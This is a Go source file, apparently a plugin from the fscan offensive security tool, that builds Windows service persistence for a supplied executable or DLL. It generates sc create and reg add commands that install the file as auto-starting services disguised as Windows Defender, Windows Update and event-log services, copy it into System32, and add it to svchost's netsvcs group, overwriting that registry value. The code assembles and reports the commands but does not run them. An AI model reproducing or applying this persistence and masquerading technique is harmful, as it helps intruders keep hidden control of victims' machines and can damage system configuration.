//go:build windows package local import ( "context" "fmt" "os" "path/filepath" "runtime" "strings" "github.com/shadow1ng/fscan/common" ) // WinServicePlugin Windows服务持久化插件 - Linus式简化版本 // // 设计哲学:直接实现,删除过度设计 // - 删除复杂的继承体系 // - 直接实现服务持久化功能 // - 保持原有功能逻辑 type WinServicePlugin struct { name string pePath string } // NewWinServicePlugin 创建Windows服务持久化插件 func NewWinServicePlugin() *WinServicePlugin { pePath := common.WinPEFile if pePath == "" { pePath = "" } return &WinServicePlugin{ name: "winservice", pePath: pePath, } } // GetName 实现Plugin接口 func (p *WinServicePlugin) GetName() string { return p.name } // GetPorts 实现Plugin接口 - local插件不需要端口 func (p *WinServicePlugin) GetPorts() []int { return []int{} } // Scan 执行Windows服务持久化 - 直接实现 func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { var output strings.Builder if runtime.GOOS != "windows" { output.WriteString("Windows服务持久化只支持Windows平台\n") return &ScanResult{ Success: false, Output: output.String(), Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), } } if p.pePath == "" { output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") return &ScanResult{ Success: false, Output: output.String(), Error: fmt.Errorf("未指定PE文件"), } } // 检查目标文件是否存在 if _, err := os.Stat(p.pePath); os.IsNotExist(err) { output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", p.pePath)) return &ScanResult{ Success: false, Output: output.String(), Error: err, } } // 检查文件类型 if !p.isValidPEFile(p.pePath) { output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", p.pePath)) return &ScanResult{ Success: false, Output: output.String(), Error: fmt.Errorf("无效的PE文件"), } } output.WriteString("=== Windows服务持久化 ===\n") output.WriteString(fmt.Sprintf("PE文件: %s\n", p.pePath)) output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) // 创建服务持久化 services, err := p.createServicePersistence(p.pePath) if err != nil { output.WriteString(fmt.Sprintf("创建服务持久化失败: %v\n", err)) return &ScanResult{ Success: false, Output: output.String(), Error: err, } } output.WriteString(fmt.Sprintf("创建了%d个Windows服务持久化项:\n", len(services))) for i, service := range services { output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, service)) } output.WriteString("\n✓ Windows服务持久化完成\n") common.LogSuccess(fmt.Sprintf("Windows服务持久化完成: %d个项目", len(services))) return &ScanResult{ Success: true, Output: output.String(), Error: nil, } } // createServicePersistence 创建服务持久化 func (p *WinServicePlugin) createServicePersistence(pePath string) ([]string, error) { absPath, err := filepath.Abs(pePath) if err != nil { return nil, fmt.Errorf("failed to get absolute path: %v", err) } var services []string baseName := filepath.Base(absPath) baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] serviceConfigs := []struct { name string displayName string description string startType string }{ { name: fmt.Sprintf("WinDefenderUpdate%s", baseNameNoExt), displayName: "Windows Defender Update Service", description: "Manages Windows Defender signature updates and system security", startType: "auto", }, { name: fmt.Sprintf("SystemEventLog%s", baseNameNoExt), displayName: "System Event Log Service", description: "Manages system event logging and audit trail maintenance", startType: "auto", }, { name: fmt.Sprintf("NetworkManager%s", baseNameNoExt), displayName: "Network Configuration Manager", description: "Handles network interface configuration and management", startType: "demand", }, { name: fmt.Sprintf("WindowsUpdate%s", baseNameNoExt), displayName: "Windows Update Assistant", description: "Coordinates automatic Windows updates and patches", startType: "auto", }, { name: fmt.Sprintf("SystemMaintenance%s", baseNameNoExt), displayName: "System Maintenance Service", description: "Performs routine system maintenance and optimization tasks", startType: "manual", }, } for _, config := range serviceConfigs { scCreateCmd := fmt.Sprintf(`sc create "%s" binPath= "\"%s\"" DisplayName= "%s" start= %s`, config.name, absPath, config.displayName, config.startType) scConfigCmd := fmt.Sprintf(`sc description "%s" "%s"`, config.name, config.description) scStartCmd := fmt.Sprintf(`sc start "%s"`, config.name) services = append(services, fmt.Sprintf("[Create Service] %s", scCreateCmd)) services = append(services, fmt.Sprintf("[Set Description] %s", scConfigCmd)) services = append(services, fmt.Sprintf("[Start Service] %s", scStartCmd)) } serviceWrapperName := fmt.Sprintf("ServiceHost%s", baseNameNoExt) wrapperPath := fmt.Sprintf(`%%SystemRoot%%\System32\%s.exe`, serviceWrapperName) copyWrapperCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, wrapperPath) services = append(services, fmt.Sprintf("[Copy to System32] %s", copyWrapperCmd)) scCreateWrapperCmd := fmt.Sprintf(`sc create "%s" binPath= "%s" DisplayName= "Service Host Process" start= auto type= own`, serviceWrapperName, wrapperPath) services = append(services, fmt.Sprintf("[Create System Service] %s", scCreateWrapperCmd)) regImagePathCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`, serviceWrapperName, wrapperPath) services = append(services, fmt.Sprintf("[Set Service DLL] %s", regImagePathCmd)) dllServiceName := fmt.Sprintf("SystemService%s", baseNameNoExt) if filepath.Ext(absPath) == ".dll" { svchostCmd := fmt.Sprintf(`sc create "%s" binPath= "%%SystemRoot%%\System32\svchost.exe -k netsvcs" DisplayName= "System Service Host" start= auto`, dllServiceName) services = append(services, fmt.Sprintf("[DLL Service via svchost] %s", svchostCmd)) regSvchostCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`, dllServiceName, absPath) services = append(services, fmt.Sprintf("[Set DLL Path] %s", regSvchostCmd)) regNetSvcsCmd := fmt.Sprintf(`reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvcs /t REG_MULTI_SZ /d "%s" /f`, dllServiceName) services = append(services, fmt.Sprintf("[Add to netsvcs] %s", regNetSvcsCmd)) } return services, nil } // isValidPEFile 检查是否为有效的PE文件 func (p *WinServicePlugin) isValidPEFile(filePath string) bool { ext := strings.ToLower(filepath.Ext(filePath)) return ext == ".exe" || ext == ".dll" } // 注册插件 func init() { RegisterLocalPlugin("winservice", func() Plugin { return NewWinServicePlugin() }) }